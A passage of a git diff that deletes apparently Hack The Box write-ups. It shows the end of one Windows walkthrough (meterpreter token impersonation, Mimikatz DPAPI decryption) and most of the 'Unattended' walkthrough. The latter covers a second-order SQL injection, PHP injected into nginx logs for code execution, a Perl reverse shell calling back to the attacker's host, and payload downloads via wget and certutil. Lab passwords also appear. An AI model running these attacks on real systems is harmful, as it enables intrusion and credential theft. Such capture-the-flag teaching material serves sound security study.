/c admin-pass.xml - - Listing C:\Users\leo\Desktop\ - New files added to this directory will not be encrypted. - -E admin-pass.xml - Compatibility Level: - Windows XP/Server 2003 - - Users who can decrypt: - HELPLINE\leo [leo(leo@HELPLINE)] - Certificate thumbprint: 66E4 033A 6EEE 1414 7D7D 9F97 6E5C D1D5 20B0 24B8 -``` - -There's also a `run.ps1` file in the Documents folder so I assume there is some kind of scheduled job running with Leo's credentials: - -``` - Directory of C:\Users\leo\Documents - -12/27/2018 12:06 AM . -12/27/2018 12:06 AM .. -12/27/2018 08:54 PM 462 run.ps1 -``` - -I used meterpreter with the incognito module to see the tokens present in memory. - -``` -C:\ProgramData>certutil -f -urlcache http://10.10.14.23/met.exe met.exe -**** Online **** -CertUtil: -URLCache command completed successfully. - -C:\ProgramData>met -``` - -``` -Payload options (windows/x64/meterpreter/reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) - LHOST tun0 yes The listen address (an interface may be specified) - LPORT 7777 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - -msf5 exploit(multi/handler) > run -j -[*] Exploit running as background job 0. - -[*] Started reverse TCP handler on 10.10.14.23:7777 - -msf5 exploit(multi/handler) > sessions 2 -[*] Starting interaction with 2... - -meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM -``` - -``` -meterpreter > load incognito -Loading extension incognito...Success. - -meterpreter > list_tokens -u - -Delegation Tokens Available -======================================== -Font Driver Host\UMFD-0 -Font Driver Host\UMFD-1 -HELPLINE\alice -HELPLINE\leo -NT AUTHORITY\LOCAL SERVICE -NT AUTHORITY\NETWORK SERVICE -NT AUTHORITY\SYSTEM -Window Manager\DWM-1 - -Impersonation Tokens Available -======================================== -No tokens available -``` - -We see that Leo's token is in memory so we can impersonate him and download the `admin-pass.xml` file. - -``` -meterpreter > impersonate_token helpline\\leo -[+] Delegation token available -[+] Successfully impersonated user HELPLINE\leo - -meterpreter > shell -Process 4428 created. -Channel 1 created. -Microsoft Windows [Version 10.0.17763.253] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\ProgramData>whoami -whoami -helpline\leo - -C:\Users\leo\Desktop>type admin-pass.xml -type admin-pass.xml -01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa -``` - -This looks like a Powershell SecureString. Looking at [https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text](https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text) we can find a method to decrypt the SecureString and recover the plaintext. Since we are running with Leo's token, we already have the decryption key loaded in memory. - -``` -C:\Users\leo\Desktop>powershell -powershell -Windows PowerShell -Copyright (C) Microsoft Corporation. All rights reserved. - -PS C:\Users\leo\Desktop> whoami -whoami -helpline\leo -PS C:\Users\leo\Desktop> - -PS C:\Users\leo\Desktop> $SecurePassword = Get-Content admin-pass.xml | ConvertTo-SecureString -PS C:\Users\leo\Desktop> $UnsecurePassword = (New-Object PSCredential "administrator",$SecurePassword).GetNetworkCredential().Password -PS C:\Users\leo\Desktop> echo $UnsecurePassword - -mb@letmein@SERVER#acc -``` - -We just found the administrator's password: `mb@letmein@SERVER#acc` - -### Decrypting the root.txt flag - -Now that we have plaintext password for `administrator`, we can use Mimikatz to decrypt the master key and recover the private key for the administrator user. - -I followed the [https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files) guide for this part. - -Step 1. Get the certificate - -``` -crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\FB154575993A250FE826DBAC79EF26C211CB77B3" /export -[...] -Saved to file: FB154575993A250FE826DBAC79EF26C211CB77B3.der -``` - -Step 2. Decrypt the master key - -``` -dpapi::masterkey /in:"C:\users\administrator\appdata\roaming\microsoft\protect\S-1-5-21-3107372852-1132949149-763516304-500\9e78687d-d881-4ccb-8bd8-bc0a19608687" /pass:mb@letmein@SERVER#acc -[...] -[masterkey] with password: mb@letmein@SERVER#acc (normal user) -key : 8ed6519c4d09a506504c4f611203bea8979a385f8a444fe57b5d2256ee1e4eb34392a141f502cd9aeea8d2187c2525c3ae998dc3cebad81cc4e41dbb6bc65fa8 -sha1: b18974052cb509a86a008869fd95388550678184 -``` - -Step 3. Decrypt the private key - -``` -dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85" /masterkey:b18974052cb509a86a008869fd95388550678184 -[...] -Exportable key : YES -Key size : 2048 -Private export : OK - 'raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk' -``` - -Step 4. Build & import the correct PFX - -I downloaded the files to my Kali VM then used the following commands to build the PFX file: - -``` -openssl x509 -inform DER -outform PEM -in FB154575993A250FE826DBAC79EF26C211CB77B3.der -out public.pem -openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk -out private.pem -openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -``` - -Next, I uploaded the `cert.pfx` file to the target box. - -Step 5. Get the flag - -``` -C:\ProgramData>certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot -Certificate "Administrator" added to store. - -CertUtil: -importPFX command completed successfully. - -C:\ProgramData>type c:\users\administrator\desktop\root.txt -d8142... -``` - -### Looking for the tolu user password - -I downloaded all the Windows log files from `c:\windows\system32\winevt\logs` to my Kali VM and used the following Python module to parse them [https://github.com/williballenthin/python-evtx](https://github.com/williballenthin/python-evtx). - -``` -# evtx_dump.py Security.evtx | grep tolu -tolu -tolu -"C:\Windows\system32\net.exe" use T: \\helpline\helpdesk_stats /USER:tolu !zaq1234567890pl!99 -``` - -The log file contains the `tolu` user password: `!zaq1234567890pl!99` - -Now we can repeat the same Mimikatz process for this user and get the `user.txt` flag: - -``` -C:\ProgramData>certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot -Certificate "tolu" added to store. - -CertUtil: -importPFX command completed successfully. - -C:\ProgramData>type c:\users\tolu\desktop\user.txt -0d522f... -``` - diff --git a/_posts/2019-08-24-htb-writeup-unattended.md b/_posts/2019-08-24-htb-writeup-unattended.md deleted file mode 100644 index 544bec78d9..0000000000 --- a/_posts/2019-08-24-htb-writeup-unattended.md +++ /dev/null @@ -1,708 +0,0 @@ ---- -layout: single -title: Unattended - Hack The Box -excerpt: "Unattended was a pretty tough box with a second order SQL injection in the PHP app. By injecting PHP code into the web server access logs through the User-Agent header, I can get RCE by including the logs using the SQL injection. I didn't quite understand what the priv esc was about though. I found the initrd archive and stumbled upon the contents by doing a grep on the box author's name." -date: 2019-08-24 -classes: wide -header: - teaser: /assets/images/htb-writeup-unattended/unattended_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - vhost - - linux - - sqli - - sqlmap - - 2nd order injection - - php - - lfi - - ipv6 - - firewall - - uinitrd ---- - -![](/assets/images/htb-writeup-unattended/unattended_logo.png) - -Unattended was a pretty tough box with a second order SQL injection in the PHP app. By injecting PHP code into the web server access logs through the User-Agent header, I can get RCE by including the logs using the SQL injection. I didn't quite understand what the priv esc was about though. I found the initrd archive and stumbled upon the contents by doing a grep on the box author's name. - -## Summary - -- Get the vhost from the SSL certificate information -- Enumerate the website to find that the only parameter that seems dynamic is the `id` parameter -- Run sqlmap against the site and find both a boolean-blind and time-based boolean injection in the `id` parameter -- Slowly dump what seems to be the most relevant tables: `config`, `idnames` and `filepath` -- Based on the information found, assume that the included page from PHP is the results of two SQL queries -- Construct a 2nd order SQL injection to get a LFI -- Inject PHP code in the NGINX `access.log` and use the LFI to point to the code and get RCE -- Obtain a PHP meterpreter by downloading a msfvenom payload through PHP `system()` and `wget` -- Find that we have write access in the `/var/lib/php/sessions` directory and drop a perl reverse shell there -- Modify the table `config`, change the `checkrelease` parameter to point to the reverse shell perl script -- Wait for the cronjob to run and get a shell as `guly` -- Find that the server has an IPv6 address and that SSH is not firewalled on IPv6 -- Check groups that `guly` is part of, find that he is part of `grub` which is not a standard Debian group -- Look for files owned by group `grub`, find `/boot/initrd.img-4.9.0-8-amd64` -- Download, unpack the file, find a `uinitrd` binary which is not standard in Debian -- Search for box maker name (guly) in the unpacked files and find comment followed by `/sbin/uinitrd c0m3s3f0ss34nt4n1` in `cryptoroot` file -- Can't execute `uinitrd` on the box because of permissions but we can upload our own copy and execute it from `/home/guly` -- Output is 40 characters hex. By passing the `c0m3s3f0ss34nt4n1` argument we get a different SHA1 output -- The 40 characters hex string output is the root password and can `su` root with it - -### Portscan - -There's not much running on this box but I make note of the `www.nestedflanders.htb` SSL certificate name. I'll add this to my `/etc/hosts` file as well as other subdomains like `admin.*`, `dev.*`, etc. in case I need them later. - -``` -# nmap -sC -sV -p- 10.10.10.126 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 19:01 EDT -Nmap scan report for 10.10.10.126 -Host is up (0.0067s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http nginx 1.10.3 -|_http-server-header: nginx/1.10.3 -|_http-title: 503 Service Temporarily Unavailable -443/tcp open ssl/http nginx 1.10.3 -| ssl-cert: Subject: commonName=www.nestedflanders.htb -| Not valid before: 2018-12-19T09:43:58 -|_Not valid after: 2021-09-13T09:43:58 -``` - -### Web site enumeration - Port 80 - -The default page on the Port 80 web server returns a single dot. - -![](/assets/images/htb-writeup-unattended/dot.png) - -Nothing interesting is returned from gobuster so I won't include the output here. - -### Web site enumeration - Port 443 - -The default apache page is shown here. - -![](/assets/images/htb-writeup-unattended/default.png) - -The response contains the `X-Upstream: 127.0.0.1:8080` header which indicates that Nginx is probably fronting the HTTPS page and proxying back to Apache2 on the backend. - -There's also a `index.php` and `/dev/` page which I found by running gobuster. - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php -k -t 10 -u https://www.nestedflanders.htb -/dev (Status: 301) -/index.php (Status: 200) -``` - -The `/dev/` doesn't have anything interesting. I check the vhost `dev.nestedflanders.htb` but that doesn't seem valid and I get directed to the page with the single dot. - -![](/assets/images/htb-writeup-unattended/dev.png) - -The `index.php` shows the followings pages that are included with the `id` parameter. - -![](/assets/images/htb-writeup-unattended/ned1.png) - -![](/assets/images/htb-writeup-unattended/ned2.png) - -![](/assets/images/htb-writeup-unattended/ned3.png) - -There's nothing at first glance that seems dynamic other than the `id` parameter used to include pages. After manually trying other parameters, I find that the `name` parameter is used by the page to change the name displayed and is vulnerable to XSS. It's a reflected XSS so I don't see how this would be useful here. Moving on. - -### Finding the first SQL injection - -![](/assets/images/htb-writeup-unattended/xss.png) - -Next, I run `sqlmap` on the page to see if I can find a SQL injection in the `id` parameter. I find that the database backend is MySQL and that the page contains two SQL injections: a boolean-based blind and time-based boolean injection. Originally when I first ran sqlmap with `id=25` it only found that time-based blind injection but when I specified the `id=587` it found both. I think this happens because the default page returned by index.php is the one from id 25, so the boolean-blind injection can only work with the other two pages. - -``` -# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 -p id -[...] -sqlmap identified the following injection point(s) with a total of 288 HTTP(s) requests: ---- -Parameter: id (GET) - Type: boolean-based blind - Title: AND boolean-based blind - WHERE or HAVING clause - Payload: id=587' AND 5533=5533 AND 'BkIC'='BkIC - - Type: AND/OR time-based blind - Title: MySQL >= 5.0.12 AND time-based blind - Payload: id=587' AND SLEEP(5) AND 'kUKZ'='kUKZ ---- -[00:51:04] [INFO] the back-end DBMS is MySQL -web application technology: Nginx 1.10.3 -back-end DBMS: MySQL >= 5.0.12 -``` - -The boolean-blind injection is faster to dump the database and is less susceptible to instability if other people are hammering the box. First I check the current database used, then dump the list of tables from database `neddy`: - -``` -# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --current-db -[...] -[00:54:27] [INFO] retrieved: neddy -current database: 'neddy' -``` - -``` -# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --tables -D neddy -[...] -Database: neddy -[11 tables] -+--------------+ -| config | -| customers | -| employees | -| filepath | -| idname | -| offices | -| orderdetails | -| orders | -| payments | -| productlines | -| products | -+--------------+ -``` - -I'll focus on `config`, `idname` and `filepath` tables first. The other tables contain a lot of rows and it would take too long to dump everything. I increase the thread count to make it a bit faster. - -``` -# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 -T config,filepath,idname --technique B -D neddy --dump --threads 10 -[...] -Table: config -+-----+-------------------------+--------------------------------------------------------------------------+ -| id | option_name | option_value | -+-----+-------------------------+--------------------------------------------------------------------------+ -| 54 | offline | 0 | -| 55 | offline_message | Site offline, please come back later | -| 56 | display_offline_message | 0 | -| 57 | offline_image | | -| 58 | sitename | NestedFlanders | -| 59 | editor | tinymce | -| 60 | captcha | 0 | -| 61 | list_limit | 20 | -| 62 | access | 1 | -| 63 | debug | 0 | -| 64 | debug_lang | 0 | -| 65 | dbtype | mysqli | -| 66 | host | localhost | -| 67 | live_site | | -| 68 | gzip | 0 | -| 69 | error_reporting | default | -| 70 | ftp_host | 127.0.0.1 | -| 71 | ftp_port | 21 | -| 72 | ftp_user | flanders | -| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 | -| 74 | ftp_root | / | -| 75 | ftp_enable | 1 | -| 76 | offset | UTC | -| 77 | mailonline | 1 | -| 78 | mailer | mail | -| 79 | mailfrom | nested@nestedflanders.htb | -| 80 | fromname | Neddy | -| 81 | sendmail | /usr/sbin/sendmail | -| 82 | smtpauth | 0 | -| 83 | smtpuser | | -| 84 | smtppass | | -| 85 | smtppass | | -| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; | -| 87 | smtphost | localhost | -| 88 | smtpsecure | none | -| 89 | smtpport | 25 | -| 90 | caching | 0 | -| 91 | cache_handler | file | -| 92 | cachetime | 15 | -| 93 | MetaDesc | | -| 94 | MetaKeys | | -| 95 | MetaTitle | 1 | -| 96 | MetaAuthor | 1 | -| 97 | MetaVersion | 0 | -| 98 | robots | | -| 99 | sef | 1 | -| 100 | sef_rewrite | 0 | -| 101 | sef_suffix | 0 | -| 102 | unicodeslugs | 0 | -| 103 | feed_limit | 10 | -| 104 | lifetime | 1 | -| 105 | session_handler | file | -+-----+-------------------------+--------------------------------------------------------------------------+ -[...] -Table: idname -+-----+-------------+----------+ -| id | name | disabled | -+-----+-------------+----------+ -| 1 | main.php | 1 | -| 2 | about.php | 1 | -| 3 | contact.php | 1 | -| 25 | main | 0 | -| 465 | about | 0 | -| 587 | contact | 0 | -+-----+-------------+----------+ -[...] -Table: filepath -+---------+--------------------------------------+ -| name | path | -+---------+--------------------------------------+ -| about | 47c1ba4f7b1edf28ea0e2bb250717093.php | -| contact | 0f710bba8d16303a415266af8bb52fcb.php | -| main | 787c75233b93aa5e45c3f85d130bfbe7.php | -+---------+--------------------------------------+ -[...] - -``` - -Here are my observations for each of the table: - -- `config`: There's a lot of data here, including some potential credentials in `ftp_pass`. There's also a `checkrelease` option that points to a perl script in `/home/guly/` -- `idname`: That table contains the mapping between the ID specified in the GET request and a name -- `filepath`: The name from the previous table seems to be referenced here in this table - -### Second order SQL injection - -I have the database table with some possible credentials but there's nothing else open on this box except HTTP and HTTPS and I haven't found any other hidden directory and/or vhost. There's possibly a service listening on an IPv6 address but I don't know the address and I can't scan the entire /64 because that address space is too large to scan. - -The MD5 hash of the last two entries in the filepath table are the md5sum of the strings `submission` and `smtp`. Thinking that this was a hint, I hashed a couple of wordlists and ran those through wfuzz but was unsuccesfull in finding any other files. - -I don't have the PHP source code but I can guess that there are two SQL queries being issued from index.php: one to map the ID to the name, and another one to map the name to the filename. If I can perform an injection on the first query, I can probably do the same on the second one and control which file gets included by the PHP code, basically getting an LFI. - -I don't like testing SQL injections within Burp so I made a script to help me with the process: - -```python -import readline -import requests - -proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } - -while True: - cmd = raw_input("> ") - payload = cmd - payload = payload + "-- -" - print payload - r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) - soup = BeautifulSoup(r.text, 'html.parser') - print soup.body -``` - -The first thing I test is to check if I can display the Contact page by returning `contact` instead of `main` from the first query against the `idname` table. - -This is the query I want to run against the `idname` table: `SELECT name FROM idname WHERE id = '25' UNION SELECT ALL 'contact'` - -Output from my script below: -``` -# python sqli.py -> 25' union select all 'contact' -[...] - -Hello visitor,
    - -thanks for getting in touch with us!
    -Unfortunately our server is under *heavy* attack and we disable almost every dynamic page.
    -Please come back later. -``` - -Ok, so that was successful and the Contact page was returned so the first injection worked. What I want to do now is inject another SQL injection in the `name` field returned instead of the actual name value so I can use the same UNION SELECT injection on the 2nd query and return a filename of my choosing. - -This is the query I want to run against the `filepath` table: `SELECT path FROM filepath WHERE name = 'invalid' UNION SELECT ALL '/etc/passwd'`. - -I made another script to do this: - -```python -from bs4 import BeautifulSoup -import readline -import requests - -proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } - -while True: - file = raw_input("> ") - payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) - r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) - soup = BeautifulSoup(r.text, 'html.parser') - print soup.body -``` - -The 2nd query now returns a file name that I control and I can read files on the target system: - -``` -# python sqli3.py -> /etc/passwd -[...] - -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/bin/bash -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false -systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false -systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false -systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false -_apt:x:104:65534::/nonexistent:/bin/false -messagebus:x:105:109::/var/run/dbus:/bin/false -sshd:x:106:65534::/run/sshd:/usr/sbin/nologin -guly:x:1000:1000:guly,,,:/home/guly:/bin/bash -mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false -``` - -### Gaining RCE on the system through code PHP injection in the access logs - -I have access to the nginx access logs and I can see that the `User-Agent` header is included in the logs: -``` -> /var/log/nginx/access.log -10.10.14.23 - - [14/Apr/2019:21:31:24 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/etc/issue%22%20--%20- HTTP/1.1" 200 423 "-" "python-requests/2.18.4" -10.10.14.23 - - [14/Apr/2019:21:32:38 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/etc/passwd%22%20--%20- HTTP/1.1" 200 925 "-" "python-requests/2.18.4" -10.10.14.23 - - [14/Apr/2019:21:38:00 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/home/guly/user.txt%22%20--%20- HTTP/1.1" 200 398 "-" "python-requests/2.18.4" -``` - -I control the `User-Agent` header so I can potentially inject PHP code in the access logs and trigger it by making a request to the log file using the LFI from the SQL injection. After some trial and error I find that Iwe can inject any PHP code I want in the `User-Agent` header and that the `system` function is not disabled. To make sure I don't end up with too much PHP statements in the access logs and kill the box, I reset the content of the access log file every time I run a command. - -Here's the script I made to execute commands. I could have put more regex in there to clean up the output a bit more but that'll do for now. - -```python -#!/usr/bin/python - -from bs4 import BeautifulSoup -import re -import readline -import requests - -import urllib3 -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - -proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } - -while True: - cmd = raw_input("> ") - headers = { "User-Agent": " /var/log/nginx/access.log; %s'); ?>**END**" % cmd} - r = requests.get("http://10.10.10.126/", headers=headers) - file = "/var/log/nginx/access.log" - payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) - r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) - soup = BeautifulSoup(r.text, 'html.parser') - m = re.search("\*\*BEGIN\*\*(.*)\*\*END\*\*", str(soup.body), flags=re.DOTALL) - if m: - print m.group(1) - else: - print("No output") -``` - -I have RCE as `www-data`: -``` -# python rce.py -> id -** -10.10.14.23 - - [14/Apr/2019:21:59:41 -0400] "GET / HTTP/1.1" 200 2 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -Python and netcat are not installed on this box. I tried using perl to spawn a shell but I kept killing the box (bad code injected in the access log? so I tried downloading netcat and spawn a shell that way. -``` -> wget http://10.10.14.23/nc -O /tmp/nc - -> chmod 777 /tmp/nc - -> ls -l /tmp/nc - -10.10.14.23 - - [14/Apr/2019:22:08:26 -0400] "GET / HTTP/1.1" 200 2 "-" "-rwxrwxrwx 1 www-data www-data 442856 Apr 14 14:22 /tmp/nc - -> /tmp/nc -e /bin/sh 10.10.14.23 80 - -[No output!] -``` - -I download netcat on the box but I don't get any callback when I try to execute it. When I look at the filesystem mounts I see that the temporary locations are all mounted as `noexec` so I can't run any binary that I upload there. - -``` -> mount -** -10.10.14.23 - - [14/Apr/2019:22:00:14 -0400] "GET / HTTP/1.1" 200 2 "-" "/dev/mapper/sda2_crypt on / type ext4 (rw,relatime,errors=remount-ro,data=ordered) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec) -[...] -tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) -tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) -/dev/sda1 on /boot type ext2 (rw,relatime,block_validity,barrier,user_xattr,acl) -tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) -tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) -``` - -### First shell using Metasploit - -If I upload a PHP meterpreter payload into `/tmp` I can execute it since the `php` binary is in the main partition that is executable. - -``` -> wget http://10.10.14.23:443/snowscan.php -O /tmp/snowscan.php - -> php /tmp/snowscan.php -``` - -I get a meterpreter session a few seconds after. - -``` -msf5 exploit(multi/handler) > run - -[*] Started reverse TCP handler on 10.10.14.23:80 -[*] Encoded stage with php/base64 -[*] Sending encoded stage (51106 bytes) to 10.10.10.126 -[*] Meterpreter session 1 opened (10.10.14.23:80 -> 10.10.10.126:47394) at 2019-04-15 02:18:34 -0400 - -msf5 exploit(multi/handler) > sessions 1 -[*] Starting interaction with 1... - -meterpreter > getuid -Server username: www-data (33) -``` - -The first thing I do once I have a shell is check if I can access `user.txt` but the `/home/guly` directory isn't readble by `www-data`. Next I grab the MySQL credentials from `/var/www/html/index.php`: - -``` -$servername = "localhost"; -$username = "nestedflanders"; -$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e"; -$db = "neddy"; -$conn = new mysqli($servername, $username, $password, $db); -``` - -I don't have an interactive TTY so I have to issue queries directly from the shell. - -``` -mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -e "show tables" neddy - -Tables_in_neddy -config -customers -employees -filepath -idname -offices -orderdetails -orders -payments -productlines -products -``` - -### Escalating to a new shell as user guly - -I thought about that `checkrelease` parameter in the `config` table I saw earlier. It currently contains `/home/guly/checkbase.pl;/home/guly/checkplugins.pl;` so I guess that this may be a script running at specific interval. I have access to the database so I can change this value. - -I use the standard perl reverse shell payload, then drop it into `/var/lib/php/sessions` since it's the only directory in the main executable partition I have write access to: - -```perl -use Socket;$i="10.10.14.23";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; -``` - -``` -wget http://10.10.14.23:443/shell.pl -O /var/lib/php/sessions/shell.pl ---2019-04-14 22:25:39-- http://10.10.14.23:443/shell.pl -Connecting to 10.10.14.23:443... connected. -HTTP request sent, awaiting response... 200 OK -Length: 209 [text/x-perl] -Saving to: '/var/lib/php/sessions/shell.pl' -``` - -Then I update the database configuration to point to the new script: - -``` -mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -e "update config set option_value = '/usr/bin/perl /var/lib/php/sessions/shell.pl;' where id='86'" neddy -mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -e "select * from config where id='86'" neddy -id option_name option_value -86 checkrelease /usr/bin/perl /var/lib/php/sessions/shell.pl; -``` - -After a minute or two I get a connection back: - -``` -root@ragingunicorn:~/htb/unattended# nc -lvnp 80 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::80 -Ncat: Listening on 0.0.0.0:80 -Ncat: Connection from 10.10.10.126. -Ncat: Connection from 10.10.10.126:47400. -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev) - -$ cat user.txt -9b413f... -``` - -IPv6 is configured on this server so I will run an nmap scan against the IPv6 address to see if I can find any other open port. - -``` -$ ip a -2: ens33: mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 - link/ether 00:50:56:b2:7b:c2 brd ff:ff:ff:ff:ff:ff - inet 10.10.10.126/24 brd 10.10.10.255 scope global ens33 - valid_lft forever preferred_lft forever - inet6 dead:beef::250:56ff:feb2:7bc2/64 scope global mngtmpaddr dynamic - valid_lft 86215sec preferred_lft 14215sec - inet6 fe80::250:56ff:feb2:7bc2/64 scope link - valid_lft forever preferred_lft forever -``` - -As expected, I find SSH listening: - -``` -# nmap -6 -p- dead:beef::250:56ff:feb2:7bc2 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-15 02:34 EDT -Nmap scan report for dead:beef::250:56ff:feb2:7bc2 -Host is up (0.0081s latency). -Not shown: 65534 closed ports -PORT STATE SERVICE -22/tcp open ssh - -Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds -``` - -I'll add my SSH public keys to guly's SSH directory so I can log back in later: - -``` -echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+SZ75RsfVTQxRRbezIJn+bQgNifXvjMWfhT1hJzl/GbTbykFtGPTwuiA5NAcPKPG25jkQln3J8Id2ngapRuW8i8OvM+QBuihsM9wLxu+my0JhS/aNHTvzJF0uN1XkvZj/BkbjUpsF9k6aMDaFoaxaKBa7ST2ZFpxlbu2ndmoB+HuvmeTaCmoY/PsxgDBWwd3GiRNts2HOiu74DEVt0hHbJ7kwhkR+l0+6VS74s+7SjP+N1q+oih83bjwM8ph+9odqAbh6TGDTbPX2I+3lTzCUeGS9goKZe05h/YtB2U2VbH1pxJZ1rfR1Sp+SBS+zblO9MUxvbzQoJTHpH2jeDg89 root@ragingunicorn" > .ssh/authorized_keys -``` - -From here I will use the SSH shell instead so I have a TTY: - -``` -root@ragingunicorn:~# ssh guly@dead:beef::250:56ff:feb2:7bc2 -guly@unattended:~$ id -uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev) -``` - -### Priv esc - -I check the groups that `guly` is a member of and the `grub` group seems suspicious to me. According to [https://wiki.debian.org/SystemGroups](https://wiki.debian.org/SystemGroups) this isn't a standard group. - -I'll do a search for files owned by the `grub` group and find a single file: `/boot/initrd.img-4.9.0-8-amd64` - -``` -guly@unattended:~$ find / -group grub 2>/dev/null -/boot/initrd.img-4.9.0-8-amd64 -``` - -I download the file to my Kali VM: - -``` -# scp -6 guly@\[dead:beef::250:56ff:feb2:7bc2\]:/boot/initrd.img-4.9.0-8-amd64 . -initrd.img-4.9.0-8-amd64 - -# file initrd.img-4.9.0-8-amd64 -initrd.img-4.9.0-8-amd64: gzip compressed data, last modified: Thu Dec 20 22:50:39 2018, from Unix, original size 62110208 -``` - -This is a compressed file, I'll gunzip it first: - 